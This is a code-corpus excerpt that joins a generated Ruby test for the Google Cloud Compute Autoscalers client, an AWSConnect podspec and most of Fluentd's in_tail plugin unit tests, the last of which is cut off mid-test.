client.list({ filter: filter, max_results: max_results, order_by: order_by, page_token: page_token, project: project, return_partial_success: return_partial_success, zone: zone }) do |result, response|
assert_equal http_response, response
end
# Use named arguments
client.list filter: filter, max_results: max_results, order_by: order_by, page_token: page_token, project: project, return_partial_success: return_partial_success, zone: zone do |result, response|
assert_equal http_response, response
end
# Use protobuf object
client.list ::Google::Cloud::Compute::V1::ListAutoscalersRequest.new(filter: filter, max_results: max_results, order_by: order_by, page_token: page_token, project: project, return_partial_success: return_partial_success, zone: zone) do |result, response|
assert_equal http_response, response
end
# Use hash object with options
client.list({ filter: filter, max_results: max_results, order_by: order_by, page_token: page_token, project: project, return_partial_success: return_partial_success, zone: zone }, call_options) do |result, response|
assert_equal http_response, response
end
# Use protobuf object with options
client.list(::Google::Cloud::Compute::V1::ListAutoscalersRequest.new(filter: filter, max_results: max_results, order_by: order_by, page_token: page_token, project: project, return_partial_success: return_partial_success, zone: zone), call_options) do |result, response|
assert_equal http_response, response
end
# Verify method calls
assert_equal 5, list_client_stub.call_count
end
end
def test_patch
# Create test objects.
client_result = ::Google::Cloud::Compute::V1::Operation.new
http_response = OpenStruct.new body: client_result.to_json
call_options = {}
# Create request parameters for a unary method.
autoscaler = "hello world"
autoscaler_resource = {}
project = "hello world"
request_id = "hello world"
zone = "hello world"
patch_client_stub = ClientStub.new http_response do |verb, uri:, body:, params:, options:|
assert_equal :patch, verb
assert options.metadata.key? :"x-goog-api-client"
assert options.metadata[:"x-goog-api-client"].include? "rest"
refute options.metadata[:"x-goog-api-client"].include? "grpc"
assert params.key? "autoscaler"
assert params.key? "requestId"
refute_nil body
end
Gapic::Rest::ClientStub.stub :new, patch_client_stub do
# Create client
client = ::Google::Cloud::Compute::V1::Autoscalers::Rest::Client.new do |config|
config.credentials = :dummy_value
end
# Use hash object
client.patch({ autoscaler: autoscaler, autoscaler_resource: autoscaler_resource, project: project, request_id: request_id, zone: zone }) do |result, response|
assert_equal http_response, response
end
# Use named arguments
client.patch autoscaler: autoscaler, autoscaler_resource: autoscaler_resource, project: project, request_id: request_id, zone: zone do |result, response|
assert_equal http_response, response
end
# Use protobuf object
client.patch ::Google::Cloud::Compute::V1::PatchAutoscalerRequest.new(autoscaler: autoscaler, autoscaler_resource: autoscaler_resource, project: project, request_id: request_id, zone: zone) do |result, response|
assert_equal http_response, response
end
# Use hash object with options
client.patch({ autoscaler: autoscaler, autoscaler_resource: autoscaler_resource, project: project, request_id: request_id, zone: zone }, call_options) do |result, response|
assert_equal http_response, response
end
# Use protobuf object with options
client.patch(::Google::Cloud::Compute::V1::PatchAutoscalerRequest.new(autoscaler: autoscaler, autoscaler_resource: autoscaler_resource, project: project, request_id: request_id, zone: zone), call_options) do |result, response|
assert_equal http_response, response
end
# Verify method calls
assert_equal 5, patch_client_stub.call_count
end
end
def test_update
# Create test objects.
client_result = ::Google::Cloud::Compute::V1::Operation.new
http_response = OpenStruct.new body: client_result.to_json
call_options = {}
# Create request parameters for a unary method.
autoscaler = "hello world"
autoscaler_resource = {}
project = "hello world"
request_id = "hello world"
zone = "hello world"
update_client_stub = ClientStub.new http_response do |verb, uri:, body:, params:, options:|
assert_equal :put, verb
assert options.metadata.key? :"x-goog-api-client"
assert options.metadata[:"x-goog-api-client"].include? "rest"
refute options.metadata[:"x-goog-api-client"].include? "grpc"
assert params.key? "autoscaler"
assert params.key? "requestId"
refute_nil body
end
Gapic::Rest::ClientStub.stub :new, update_client_stub do
# Create client
client = ::Google::Cloud::Compute::V1::Autoscalers::Rest::Client.new do |config|
config.credentials = :dummy_value
end
# Use hash object
client.update({ autoscaler: autoscaler, autoscaler_resource: autoscaler_resource, project: project, request_id: request_id, zone: zone }) do |result, response|
assert_equal http_response, response
end
# Use named arguments
client.update autoscaler: autoscaler, autoscaler_resource: autoscaler_resource, project: project, request_id: request_id, zone: zone do |result, response|
assert_equal http_response, response
end
# Use protobuf object
client.update ::Google::Cloud::Compute::V1::UpdateAutoscalerRequest.new(autoscaler: autoscaler, autoscaler_resource: autoscaler_resource, project: project, request_id: request_id, zone: zone) do |result, response|
assert_equal http_response, response
end
# Use hash object with options
client.update({ autoscaler: autoscaler, autoscaler_resource: autoscaler_resource, project: project, request_id: request_id, zone: zone }, call_options) do |result, response|
assert_equal http_response, response
end
# Use protobuf object with options
client.update(::Google::Cloud::Compute::V1::UpdateAutoscalerRequest.new(autoscaler: autoscaler, autoscaler_resource: autoscaler_resource, project: project, request_id: request_id, zone: zone), call_options) do |result, response|
assert_equal http_response, response
end
# Verify method calls
assert_equal 5, update_client_stub.call_count
end
end
def test_configure
credentials_token = :dummy_value
client = block_config = config = nil
Gapic::Rest::ClientStub.stub :new, nil do
client = ::Google::Cloud::Compute::V1::Autoscalers::Rest::Client.new do |config|
config.credentials = credentials_token
end
end
config = client.configure do |c|
block_config = c
end
assert_same block_config, config
assert_kind_of ::Google::Cloud::Compute::V1::Autoscalers::Rest::Client::Configuration, config
end
end
| 39.159615 | 324 | 0.706281 |
d512d2a3efc5c0677392591a33292300aa24f6de | 711 | Pod::Spec.new do |s|
s.name = 'AWSConnect'
s.version = '2.12.8'
s.summary = 'Amazon Web Services SDK for iOS.'
s.description = 'The AWS SDK for iOS provides a library, code samples, and documentation for developers to build connected mobile applications using AWS.'
s.homepage = 'http://aws.amazon.com/mobile/sdk'
s.license = 'Apache License, Version 2.0'
s.author = { 'Amazon Web Services' => 'amazonwebservices' }
s.platform = :ios, '8.0'
s.source = { :git => 'https://github.com/aws/aws-sdk-ios.git',
:tag => s.version}
s.requires_arc = true
s.dependency 'AWSCore', '2.12.8'
s.source_files = 'AWSConnect/*.{h,m}'
end
| 39.5 | 157 | 0.611814 |
872f0fdfde1c9cbfbf118c81c8c2e7084a1e641e | 28,727 | require_relative '../helper'
require 'fluent/test'
require 'fluent/plugin/in_tail'
require 'fluent/plugin/buffer'
require 'fluent/system_config'
require 'net/http'
require 'flexmock/test_unit'
class TailInputTest < Test::Unit::TestCase
include FlexMock::TestCase
def setup
Fluent::Test.setup
FileUtils.rm_rf(TMP_DIR, secure: true)
if File.exist?(TMP_DIR)
# ensure files are closed for Windows, on which deleted files
# are still visible from filesystem
GC.start(full_mark: true, immediate_mark: true, immediate_sweep: true)
FileUtils.remove_entry_secure(TMP_DIR)
end
FileUtils.mkdir_p(TMP_DIR)
end
def teardown
super
Fluent::Engine.stop
end
TMP_DIR = File.dirname(__FILE__) + "/../tmp/tail#{ENV['TEST_ENV_NUMBER']}"
CONFIG = %[
path #{TMP_DIR}/tail.txt
tag t1
rotate_wait 2s
]
COMMON_CONFIG = CONFIG + %[
pos_file #{TMP_DIR}/tail.pos
]
CONFIG_READ_FROM_HEAD = %[
read_from_head true
]
CONFIG_ENABLE_WATCH_TIMER = %[
enable_watch_timer false
]
SINGLE_LINE_CONFIG = %[
format /(?<message>.*)/
]
def create_driver(conf = SINGLE_LINE_CONFIG, use_common_conf = true)
config = use_common_conf ? COMMON_CONFIG + conf : conf
Fluent::Test::InputTestDriver.new(Fluent::NewTailInput).configure(config)
end
def test_configure
d = create_driver
assert_equal ["#{TMP_DIR}/tail.txt"], d.instance.paths
assert_equal "t1", d.instance.tag
assert_equal 2, d.instance.rotate_wait
assert_equal "#{TMP_DIR}/tail.pos", d.instance.pos_file
assert_equal 1000, d.instance.read_lines_limit
end
def test_configure_encoding
# valid encoding
d = create_driver(SINGLE_LINE_CONFIG + 'encoding utf-8')
assert_equal Encoding::UTF_8, d.instance.encoding
# invalid encoding
assert_raise(Fluent::ConfigError) do
create_driver(SINGLE_LINE_CONFIG + 'encoding no-such-encoding')
end
end
def test_configure_from_encoding
# If only specified from_encoding raise ConfigError
assert_raise(Fluent::ConfigError) do
d = create_driver(SINGLE_LINE_CONFIG + 'from_encoding utf-8')
end
# valid setting
d = create_driver %[
format /(?<message>.*)/
read_from_head true
from_encoding utf-8
encoding utf-8
]
assert_equal Encoding::UTF_8, d.instance.from_encoding
# invalid from_encoding
assert_raise(Fluent::ConfigError) do
d = create_driver %[
format /(?<message>.*)/
read_from_head true
from_encoding no-such-encoding
encoding utf-8
]
end
end
# TODO: Should using more better approach instead of sleep wait
def test_emit
File.open("#{TMP_DIR}/tail.txt", "wb") {|f|
f.puts "test1"
f.puts "test2"
}
d = create_driver
d.run do
sleep 1
File.open("#{TMP_DIR}/tail.txt", "ab") {|f|
f.puts "test3"
f.puts "test4"
}
sleep 1
end
emits = d.emits
assert_equal(true, emits.length > 0)
assert_equal({"message" => "test3"}, emits[0][2])
assert_equal({"message" => "test4"}, emits[1][2])
assert(emits[0][1].is_a?(Fluent::EventTime))
assert(emits[1][1].is_a?(Fluent::EventTime))
assert_equal(1, d.emit_streams.size)
end
class TestWithSystem < self
include Fluent::SystemConfig::Mixin
OVERRIDE_FILE_PERMISSION = 0620
CONFIG_SYSTEM = %[
<system>
file_permission #{OVERRIDE_FILE_PERMISSION}
</system>
]
def setup
omit "NTFS doesn't support UNIX like permissions" if Fluent.windows?
# Store default permission
@default_permission = system_config.instance_variable_get(:@file_permission)
end
def teardown
# Restore default permission
system_config.instance_variable_set(:@file_permission, @default_permission)
end
def parse_system(text)
basepath = File.expand_path(File.dirname(__FILE__) + '/../../')
Fluent::Config.parse(text, '(test)', basepath, true).elements.find { |e| e.name == 'system' }
end
def test_emit_with_system
system_conf = parse_system(CONFIG_SYSTEM)
sc = Fluent::SystemConfig.new(system_conf)
Fluent::Engine.init(sc)
File.open("#{TMP_DIR}/tail.txt", "wb") {|f|
f.puts "test1"
f.puts "test2"
}
d = create_driver
d.run do
sleep 1
File.open("#{TMP_DIR}/tail.txt", "ab") {|f|
f.puts "test3"
f.puts "test4"
}
sleep 1
end
emits = d.emits
assert_equal(true, emits.length > 0)
assert_equal({"message" => "test3"}, emits[0][2])
assert_equal({"message" => "test4"}, emits[1][2])
assert(emits[0][1].is_a?(Fluent::EventTime))
assert(emits[1][1].is_a?(Fluent::EventTime))
assert_equal(1, d.emit_streams.size)
pos = d.instance.instance_variable_get(:@pf_file)
mode = "%o" % File.stat(pos).mode
assert_equal OVERRIDE_FILE_PERMISSION, mode[-3, 3].to_i
end
end
data('1' => [1, 2], '10' => [10, 1])
def test_emit_with_read_lines_limit(data)
limit, num_emits = data
d = create_driver(CONFIG_READ_FROM_HEAD + SINGLE_LINE_CONFIG + "read_lines_limit #{limit}")
msg = 'test' * 500 # in_tail reads 2048 bytes at once.
d.run do
sleep 1
File.open("#{TMP_DIR}/tail.txt", "ab") {|f|
f.puts msg
f.puts msg
}
sleep 1
end
emits = d.emits
assert_equal(true, emits.length > 0)
assert_equal({"message" => msg}, emits[0][2])
assert_equal({"message" => msg}, emits[1][2])
assert_equal(num_emits, d.emit_streams.size)
end
def test_emit_with_read_from_head
File.open("#{TMP_DIR}/tail.txt", "wb") {|f|
f.puts "test1"
f.puts "test2"
}
d = create_driver(CONFIG_READ_FROM_HEAD + SINGLE_LINE_CONFIG)
d.run do
sleep 1
File.open("#{TMP_DIR}/tail.txt", "ab") {|f|
f.puts "test3"
f.puts "test4"
}
sleep 1
end
emits = d.emits
assert(emits.length > 0)
assert_equal({"message" => "test1"}, emits[0][2])
assert_equal({"message" => "test2"}, emits[1][2])
assert_equal({"message" => "test3"}, emits[2][2])
assert_equal({"message" => "test4"}, emits[3][2])
end
def test_emit_with_enable_watch_timer
File.open("#{TMP_DIR}/tail.txt", "wb") {|f|
f.puts "test1"
f.puts "test2"
}
d = create_driver(CONFIG_ENABLE_WATCH_TIMER + SINGLE_LINE_CONFIG)
d.run do
sleep 1
File.open("#{TMP_DIR}/tail.txt", "ab") {|f|
f.puts "test3"
f.puts "test4"
}
# according to cool.io's stat_watcher.c, systems without inotify will use
# an "automatic" value, typically around 5 seconds
sleep 10
end
emits = d.emits
assert(emits.length > 0)
assert_equal({"message" => "test3"}, emits[0][2])
assert_equal({"message" => "test4"}, emits[1][2])
end
def test_rotate_file
emits = sub_test_rotate_file(SINGLE_LINE_CONFIG)
assert_equal(4, emits.length)
assert_equal({"message" => "test3"}, emits[0][2])
assert_equal({"message" => "test4"}, emits[1][2])
assert_equal({"message" => "test5"}, emits[2][2])
assert_equal({"message" => "test6"}, emits[3][2])
end
def test_rotate_file_with_read_from_head
emits = sub_test_rotate_file(CONFIG_READ_FROM_HEAD + SINGLE_LINE_CONFIG)
assert_equal(6, emits.length)
assert_equal({"message" => "test1"}, emits[0][2])
assert_equal({"message" => "test2"}, emits[1][2])
assert_equal({"message" => "test3"}, emits[2][2])
assert_equal({"message" => "test4"}, emits[3][2])
assert_equal({"message" => "test5"}, emits[4][2])
assert_equal({"message" => "test6"}, emits[5][2])
end
def test_rotate_file_with_write_old
emits = sub_test_rotate_file(SINGLE_LINE_CONFIG) { |rotated_file|
File.open("#{TMP_DIR}/tail.txt", "wb") { |f| }
rotated_file.puts "test7"
rotated_file.puts "test8"
rotated_file.flush
sleep 1
File.open("#{TMP_DIR}/tail.txt", "ab") { |f|
f.puts "test5"
f.puts "test6"
}
}
assert_equal(6, emits.length)
assert_equal({"message" => "test3"}, emits[0][2])
assert_equal({"message" => "test4"}, emits[1][2])
assert_equal({"message" => "test7"}, emits[2][2])
assert_equal({"message" => "test8"}, emits[3][2])
assert_equal({"message" => "test5"}, emits[4][2])
assert_equal({"message" => "test6"}, emits[5][2])
end
def test_rotate_file_with_write_old_and_no_new_file
emits = sub_test_rotate_file(SINGLE_LINE_CONFIG) { |rotated_file|
rotated_file.puts "test7"
rotated_file.puts "test8"
rotated_file.flush
}
assert_equal(4, emits.length)
assert_equal({"message" => "test3"}, emits[0][2])
assert_equal({"message" => "test4"}, emits[1][2])
assert_equal({"message" => "test7"}, emits[2][2])
assert_equal({"message" => "test8"}, emits[3][2])
end
def sub_test_rotate_file(config = nil)
file = Fluent::FileWrapper.open("#{TMP_DIR}/tail.txt", "wb")
file.puts "test1"
file.puts "test2"
file.flush
d = create_driver(config)
d.run do
sleep 1
file.puts "test3"
file.puts "test4"
file.flush
sleep 1
FileUtils.mv("#{TMP_DIR}/tail.txt", "#{TMP_DIR}/tail2.txt")
if block_given?
yield file
sleep 1
else
sleep 1
File.open("#{TMP_DIR}/tail.txt", "wb") { |f| }
sleep 1
File.open("#{TMP_DIR}/tail.txt", "ab") { |f|
f.puts "test5"
f.puts "test6"
}
sleep 1
end
end
d.run do
sleep 1
end
d.emits
ensure
file.close if file
end
def test_lf
File.open("#{TMP_DIR}/tail.txt", "wb") {|f| }
d = create_driver
d.run do
File.open("#{TMP_DIR}/tail.txt", "ab") {|f|
f.print "test3"
}
sleep 1
File.open("#{TMP_DIR}/tail.txt", "ab") {|f|
f.puts "test4"
}
sleep 1
end
emits = d.emits
assert_equal(true, emits.length > 0)
assert_equal({"message" => "test3test4"}, emits[0][2])
end
def test_whitespace
File.open("#{TMP_DIR}/tail.txt", "wb") {|f| }
d = create_driver
d.run do
sleep 1
File.open("#{TMP_DIR}/tail.txt", "ab") {|f|
f.puts " " # 4 spaces
f.puts " 4 spaces"
f.puts "4 spaces "
f.puts " " # tab
f.puts " tab"
f.puts "tab "
}
sleep 1
end
emits = d.emits
assert_equal(true, emits.length > 0)
assert_equal({"message" => " "}, emits[0][2])
assert_equal({"message" => " 4 spaces"}, emits[1][2])
assert_equal({"message" => "4 spaces "}, emits[2][2])
assert_equal({"message" => " "}, emits[3][2])
assert_equal({"message" => " tab"}, emits[4][2])
assert_equal({"message" => "tab "}, emits[5][2])
end
data(
'default encoding' => ['', Encoding::ASCII_8BIT],
'explicit encoding config' => ['encoding utf-8', Encoding::UTF_8])
def test_encoding(data)
encoding_config, encoding = data
d = create_driver(SINGLE_LINE_CONFIG + CONFIG_READ_FROM_HEAD + encoding_config)
d.run do
sleep 1
File.open("#{TMP_DIR}/tail.txt", "wb") {|f|
f.puts "test"
}
sleep 1
end
emits = d.emits
assert_equal(encoding, emits[0][2]['message'].encoding)
end
def test_from_encoding
d = create_driver %[
format /(?<message>.*)/
read_from_head true
from_encoding cp932
encoding utf-8
]
d.run do
sleep 1
File.open("#{TMP_DIR}/tail.txt", "w:cp932") {|f|
f.puts "\x82\xCD\x82\xEB\x81\x5B\x82\xED\x81\x5B\x82\xE9\x82\xC7".force_encoding(Encoding::CP932)
}
sleep 1
end
emits = d.emits
assert_equal("\x82\xCD\x82\xEB\x81\x5B\x82\xED\x81\x5B\x82\xE9\x82\xC7".force_encoding(Encoding::CP932).encode(Encoding::UTF_8), emits[0][2]['message'])
assert_equal(Encoding::UTF_8, emits[0][2]['message'].encoding)
end
# multiline mode test
def test_multiline
File.open("#{TMP_DIR}/tail.txt", "wb") { |f| }
d = create_driver %[
format multiline
format1 /^s (?<message1>[^\\n]+)(\\nf (?<message2>[^\\n]+))?(\\nf (?<message3>.*))?/
format_firstline /^[s]/
]
d.run do
File.open("#{TMP_DIR}/tail.txt", "ab") { |f|
f.puts "f test1"
f.puts "s test2"
f.puts "f test3"
f.puts "f test4"
f.puts "s test5"
f.puts "s test6"
f.puts "f test7"
f.puts "s test8"
}
sleep 1
emits = d.emits
assert(emits.length == 3)
assert_equal({"message1" => "test2", "message2" => "test3", "message3" => "test4"}, emits[0][2])
assert_equal({"message1" => "test5"}, emits[1][2])
assert_equal({"message1" => "test6", "message2" => "test7"}, emits[2][2])
sleep 3
emits = d.emits
assert(emits.length == 3)
end
emits = d.emits
assert(emits.length == 4)
assert_equal({"message1" => "test8"}, emits[3][2])
end
def test_multiline_with_flush_interval
File.open("#{TMP_DIR}/tail.txt", "wb") { |f| }
d = create_driver %[
format multiline
format1 /^s (?<message1>[^\\n]+)(\\nf (?<message2>[^\\n]+))?(\\nf (?<message3>.*))?/
format_firstline /^[s]/
multiline_flush_interval 2s
]
assert_equal 2, d.instance.multiline_flush_interval
d.run do
File.open("#{TMP_DIR}/tail.txt", "ab") { |f|
f.puts "f test1"
f.puts "s test2"
f.puts "f test3"
f.puts "f test4"
f.puts "s test5"
f.puts "s test6"
f.puts "f test7"
f.puts "s test8"
}
sleep 1
emits = d.emits
assert(emits.length == 3)
assert_equal({"message1" => "test2", "message2" => "test3", "message3" => "test4"}, emits[0][2])
assert_equal({"message1" => "test5"}, emits[1][2])
assert_equal({"message1" => "test6", "message2" => "test7"}, emits[2][2])
sleep 3
emits = d.emits
assert(emits.length == 4)
assert_equal({"message1" => "test8"}, emits[3][2])
end
end
data(
'default encoding' => ['', Encoding::ASCII_8BIT],
'explicit encoding config' => ['encoding utf-8', Encoding::UTF_8])
def test_multiline_encoding_of_flushed_record(data)
encoding_config, encoding = data
d = create_driver %[
format multiline
format1 /^s (?<message1>[^\\n]+)(\\nf (?<message2>[^\\n]+))?(\\nf (?<message3>.*))?/
format_firstline /^[s]/
multiline_flush_interval 2s
read_from_head true
#{encoding_config}
]
d.run do
File.open("#{TMP_DIR}/tail.txt", "wb") { |f|
f.puts "s test"
}
sleep 4
emits = d.emits
assert_equal(1, emits.length)
assert_equal(encoding, emits[0][2]['message1'].encoding)
end
end
def test_multiline_from_encoding_of_flushed_record
d = create_driver %[
format multiline
format1 /^s (?<message1>[^\\n]+)(\\nf (?<message2>[^\\n]+))?(\\nf (?<message3>.*))?/
format_firstline /^[s]/
multiline_flush_interval 2s
read_from_head true
from_encoding cp932
encoding utf-8
]
d.run do
sleep 1
File.open("#{TMP_DIR}/tail.txt", "w:cp932") { |f|
f.puts "s \x82\xCD\x82\xEB\x81\x5B\x82\xED\x81\x5B\x82\xE9\x82\xC7".force_encoding(Encoding::CP932)
}
sleep 4
emits = d.emits
assert_equal(1, emits.length)
assert_equal("\x82\xCD\x82\xEB\x81\x5B\x82\xED\x81\x5B\x82\xE9\x82\xC7".force_encoding(Encoding::CP932).encode(Encoding::UTF_8), emits[0][2]['message1'])
assert_equal(Encoding::UTF_8, emits[0][2]['message1'].encoding)
end
end
def test_multiline_with_multiple_formats
File.open("#{TMP_DIR}/tail.txt", "wb") { |f| }
d = create_driver %[
format multiline
format1 /^s (?<message1>[^\\n]+)\\n?/
format2 /(f (?<message2>[^\\n]+)\\n?)?/
format3 /(f (?<message3>.*))?/
format_firstline /^[s]/
]
d.run do
File.open("#{TMP_DIR}/tail.txt", "ab") { |f|
f.puts "f test1"
f.puts "s test2"
f.puts "f test3"
f.puts "f test4"
f.puts "s test5"
f.puts "s test6"
f.puts "f test7"
f.puts "s test8"
}
sleep 1
end
emits = d.emits
assert(emits.length > 0)
assert_equal({"message1" => "test2", "message2" => "test3", "message3" => "test4"}, emits[0][2])
assert_equal({"message1" => "test5"}, emits[1][2])
assert_equal({"message1" => "test6", "message2" => "test7"}, emits[2][2])
assert_equal({"message1" => "test8"}, emits[3][2])
end
def test_multilinelog_with_multiple_paths
files = ["#{TMP_DIR}/tail1.txt", "#{TMP_DIR}/tail2.txt"]
files.each { |file| File.open(file, "wb") { |f| } }
d = create_driver(%[
path #{files[0]},#{files[1]}
tag t1
format multiline
format1 /^[s|f] (?<message>.*)/
format_firstline /^[s]/
], false)
d.run do
files.each do |file|
File.open(file, 'ab') { |f|
f.puts "f #{file} line should be ignored"
f.puts "s test1"
f.puts "f test2"
f.puts "f test3"
f.puts "s test4"
}
end
sleep 1
end
emits = d.emits
assert_equal({"message" => "test1\nf test2\nf test3"}, emits[0][2])
assert_equal({"message" => "test1\nf test2\nf test3"}, emits[1][2])
# "test4" events are here because these events are flushed at shutdown phase
assert_equal({"message" => "test4"}, emits[2][2])
assert_equal({"message" => "test4"}, emits[3][2])
end
def test_multiline_without_firstline
File.open("#{TMP_DIR}/tail.txt", "wb") { |f| }
d = create_driver %[
format multiline
format1 /(?<var1>foo \\d)\\n/
format2 /(?<var2>bar \\d)\\n/
format3 /(?<var3>baz \\d)/
]
d.run do
File.open("#{TMP_DIR}/tail.txt", "ab") { |f|
f.puts "foo 1"
f.puts "bar 1"
f.puts "baz 1"
f.puts "foo 2"
f.puts "bar 2"
f.puts "baz 2"
}
sleep 1
end
emits = d.emits
assert_equal(2, emits.length)
assert_equal({"var1" => "foo 1", "var2" => "bar 1", "var3" => "baz 1"}, emits[0][2])
assert_equal({"var1" => "foo 2", "var2" => "bar 2", "var3" => "baz 2"}, emits[1][2])
end
# * path test
# TODO: Clean up tests
EX_RORATE_WAIT = 0
EX_CONFIG = %[
tag tail
path test/plugin/*/%Y/%m/%Y%m%d-%H%M%S.log,test/plugin/data/log/**/*.log
format none
pos_file #{TMP_DIR}/tail.pos
read_from_head true
refresh_interval 30
rotate_wait #{EX_RORATE_WAIT}s
]
EX_PATHS = [
'test/plugin/data/2010/01/20100102-030405.log',
'test/plugin/data/log/foo/bar.log',
'test/plugin/data/log/test.log'
]
def test_expand_paths
plugin = create_driver(EX_CONFIG, false).instance
flexstub(Time) do |timeclass|
timeclass.should_receive(:now).with_no_args.and_return(Time.new(2010, 1, 2, 3, 4, 5))
assert_equal EX_PATHS, plugin.expand_paths.sort
end
# Test exclusion
exclude_config = EX_CONFIG + " exclude_path [\"#{EX_PATHS.last}\"]"
plugin = create_driver(exclude_config, false).instance
assert_equal EX_PATHS - [EX_PATHS.last], plugin.expand_paths.sort
end
def test_z_refresh_watchers
plugin = create_driver(EX_CONFIG, false).instance
sio = StringIO.new
plugin.instance_eval do
@pf = Fluent::NewTailInput::PositionFile.parse(sio)
@loop = Coolio::Loop.new
end
flexstub(Time) do |timeclass|
timeclass.should_receive(:now).with_no_args.and_return(Time.new(2010, 1, 2, 3, 4, 5), Time.new(2010, 1, 2, 3, 4, 6), Time.new(2010, 1, 2, 3, 4, 7))
flexstub(Fluent::NewTailInput::TailWatcher) do |watcherclass|
EX_PATHS.each do |path|
watcherclass.should_receive(:new).with(path, EX_RORATE_WAIT, Fluent::NewTailInput::FilePositionEntry, any, true, true, 1000, any, any, any).once.and_return do
flexmock('TailWatcher') { |watcher|
watcher.should_receive(:attach).once
watcher.should_receive(:unwatched=).zero_or_more_times
watcher.should_receive(:line_buffer).zero_or_more_times
}
end
end
plugin.refresh_watchers
end
plugin.instance_eval do
@tails['test/plugin/data/2010/01/20100102-030405.log'].should_receive(:close).zero_or_more_times
end
flexstub(Fluent::NewTailInput::TailWatcher) do |watcherclass|
watcherclass.should_receive(:new).with('test/plugin/data/2010/01/20100102-030406.log', EX_RORATE_WAIT, Fluent::NewTailInput::FilePositionEntry, any, true, true, 1000, any, any, any).once.and_return do
flexmock('TailWatcher') do |watcher|
watcher.should_receive(:attach).once
watcher.should_receive(:unwatched=).zero_or_more_times
watcher.should_receive(:line_buffer).zero_or_more_times
end
end
plugin.refresh_watchers
end
flexstub(Fluent::NewTailInput::TailWatcher) do |watcherclass|
watcherclass.should_receive(:new).never
plugin.refresh_watchers
end
end
end
DummyWatcher = Struct.new("DummyWatcher", :tag)
def test_receive_lines
plugin = create_driver(EX_CONFIG, false).instance
flexstub(plugin.router) do |engineclass|
engineclass.should_receive(:emit_stream).with('tail', any).once
plugin.receive_lines(['foo', 'bar'], DummyWatcher.new('foo.bar.log'))
end
config = %[
tag pre.*
path test/plugin/*/%Y/%m/%Y%m%d-%H%M%S.log,test/plugin/data/log/**/*.log
format none
read_from_head true
]
plugin = create_driver(config, false).instance
flexstub(plugin.router) do |engineclass|
engineclass.should_receive(:emit_stream).with('pre.foo.bar.log', any).once
plugin.receive_lines(['foo', 'bar'], DummyWatcher.new('foo.bar.log'))
end
config = %[
tag *.post
path test/plugin/*/%Y/%m/%Y%m%d-%H%M%S.log,test/plugin/data/log/**/*.log
format none
read_from_head true
]
plugin = create_driver(config, false).instance
flexstub(plugin.router) do |engineclass|
engineclass.should_receive(:emit_stream).with('foo.bar.log.post', any).once
plugin.receive_lines(['foo', 'bar'], DummyWatcher.new('foo.bar.log'))
end
config = %[
tag pre.*.post
path test/plugin/*/%Y/%m/%Y%m%d-%H%M%S.log,test/plugin/data/log/**/*.log
format none
read_from_head true
]
plugin = create_driver(config, false).instance
flexstub(plugin.router) do |engineclass|
engineclass.should_receive(:emit_stream).with('pre.foo.bar.log.post', any).once
plugin.receive_lines(['foo', 'bar'], DummyWatcher.new('foo.bar.log'))
end
config = %[
tag pre.*.post*ignore
path test/plugin/*/%Y/%m/%Y%m%d-%H%M%S.log,test/plugin/data/log/**/*.log
format none
read_from_head true
]
plugin = create_driver(config, false).instance
flexstub(plugin.router) do |engineclass|
engineclass.should_receive(:emit_stream).with('pre.foo.bar.log.post', any).once
plugin.receive_lines(['foo', 'bar'], DummyWatcher.new('foo.bar.log'))
end
end
# Ensure that no fatal exception is raised when a file is missing and that
# files that do exist are still tailed as expected.
def test_missing_file
File.open("#{TMP_DIR}/tail.txt", "wb") {|f|
f.puts "test1"
f.puts "test2"
}
# Try two different configs - one with read_from_head and one without,
# since their interactions with the filesystem differ.
config1 = %[
tag t1
path #{TMP_DIR}/non_existent_file.txt,#{TMP_DIR}/tail.txt
format none
rotate_wait 2s
pos_file #{TMP_DIR}/tail.pos
]
config2 = config1 + ' read_from_head true'
[config1, config2].each do |config|
d = create_driver(config, false)
d.run do
sleep 1
File.open("#{TMP_DIR}/tail.txt", "ab") {|f|
f.puts "test3"
f.puts "test4"
}
sleep 1
end
emits = d.emits
assert_equal(2, emits.length)
assert_equal({"message" => "test3"}, emits[0][2])
assert_equal({"message" => "test4"}, emits[1][2])
end
end
sub_test_case 'emit error cases' do
def test_emit_error_with_buffer_queue_limit_error
emits = execute_test(Fluent::Plugin::Buffer::BufferOverflowError, "buffer space has too many data")
assert_equal(10, emits.length)
10.times { |i|
assert_equal({"message" => "test#{i}"}, emits[i][2])
}
end
def test_emit_error_with_non_buffer_queue_limit_error
emits = execute_test(StandardError, "non BufferQueueLimitError error")
assert_true(emits.size > 0 && emits.size != 10)
emits.size.times { |i|
assert_equal({"message" => "test#{10 - emits.size + i}"}, emits[i][2])
}
end
def execute_test(error_class, error_message)
d = create_driver(CONFIG_READ_FROM_HEAD + SINGLE_LINE_CONFIG)
# Use define_singleton_method instead of d.emit_stream to capture local variable
d.define_singleton_method(:emit_stream) do |tag, es|
@test_num_errors ||= 0
if @test_num_errors < 5
@test_num_errors += 1
raise error_class, error_message
else
@emit_streams << [tag, es.to_a]
end
end
d.run do
10.times { |i|
File.open("#{TMP_DIR}/tail.txt", "ab") { |f| f.puts "test#{i}" }
sleep 0.5
}
sleep 1
end
d.emits
end
end
sub_test_case "tail_path" do
def test_tail_path_with_singleline
File.open("#{TMP_DIR}/tail.txt", "wb") {|f|
f.puts "test1"
f.puts "test2"
}
d = create_driver(%[path_key path] + SINGLE_LINE_CONFIG)
d.run do
sleep 1
File.open("#{TMP_DIR}/tail.txt", "ab") {|f|
f.puts "test3"
f.puts "test4"
}
sleep 1
end
emits = d.emits
assert_equal(true, emits.length > 0)
emits.each do |emit|
assert_equal("#{TMP_DIR}/tail.txt", emit[2]["path"])
end
end
def test_tail_path_with_multiline_with_firstline
File.open("#{TMP_DIR}/tail.txt", "wb") { |f| }
d = create_driver %[
path_key path
format multiline
format1 /^s (?<message1>[^\\n]+)(\\nf (?<message2>[^\\n]+))?(\\nf (?<message3>.*))?/
format_firstline /^[s]/
]
d.run do
File.open("#{TMP_DIR}/tail.txt", "ab") { |f|
f.puts "f test1"
f.puts "s test2"
f.puts "f test3"
f.puts "f test4"
f.puts "s test5"
f.puts "s test6"
f.puts "f test7"
f.puts "s test8"
}
sleep 1
end
emits = d.emits
assert(emits.length == 4)
emits.each do |emit|
assert_equal("#{TMP_DIR}/tail.txt", emit[2]["path"])
end
end
def test_tail_path_with_multiline_without_firstline
File.open("#{TMP_DIR}/tail.txt", "wb") { |f| }
d = create_driver %[
path_key path
format multiline
format1 /(?<var1>foo \\d)\\n/
format2 /(?<var2>bar \\d)\\n/
format3 /(?<var3>baz \\d)/
]
d.run do
File.open("#{TMP_DIR}/tail.txt", "ab") { |f|
